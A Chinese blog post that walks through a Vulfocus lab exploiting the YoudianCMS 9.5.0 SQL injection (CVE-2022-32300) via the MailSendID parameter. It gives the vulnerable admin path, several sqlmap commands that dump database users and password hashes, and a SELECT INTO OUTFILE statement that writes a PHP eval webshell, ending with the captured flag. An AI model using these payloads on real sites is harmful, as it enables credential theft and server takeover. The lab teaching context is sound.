Vulfocus靶场-youdiancms 9.5.0 版本 SQL注入（CVE-2022-32300）

最新推荐文章于 2025-12-12 17:07:47 发布

原创最新推荐文章于 2025-12-12 17:07:47 发布 · 193 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#sql #数据库 #SQL注入 #SQLMAP #网络安全 #web安全

Vulfocus靶场专栏收录该内容

1 篇文章

订阅专栏

简介

youdiancms 9.5.0 版本 SQL注入（CVE-2022-32300）

启动靶场

访问启动的连接，得到靶场：
在这里插入图片描述
直接安装，按照这个来填写参数：
数据库:root/root 数据库名:youdian
安装成功就可以使用系统了：

访问后台，输入刚刚配置的用户名和密码，就可以进入后台：

开始渗透

根据提示：
通过 /App/Lib/Action/Admin/MailAction.class.php 中的 MailSendID 参数发现 YoudianCMS v9.5.0 包含 SQL 注入漏洞。
这个地方需要去下载源码进行审计，发现访问路径：
/index.php/Admin/mail/viewLog?MailSendID=*

先对这个路径进行抓包

在这里插入图片描述
因为这个地方需要登录，所以把请求包复制到一个文本中req.txt：

然后再利用sqlmap进行测试

在这里插入图片描述

已经探测到存在SQL注入！

找到网站的绝对路径

通过目录扫描得到根目录有install.php
在这里插入图片描述
发现网站根路径是/var/www/wordpress。

直接写入webshell

SELECT '<?php eval($_REQUEST[6]);?> ' INTO OUTFILE '/var/www/wordpress/1.php';

通过SQLmap拿到 --sql-shell

python sqlmap.py -r req.txt --sql-shell

在这里插入图片描述
执行

爆数据库的用户名和密码

由于前面直接写码无法写入，只能通过数据库再去尝试写码
先读取用户名

python sqlmap.py -r req.txt --users

在这里插入图片描述
读取密码：

python sqlmap.py -r req.txt --passwords

在这里插入图片描述
再连接mysql :

写码：

连接蚁🗡：

在这里插入图片描述
拿到flag:
flag-{bmhc865116e-a96a-43a2-9bbc-1aa03a88321b}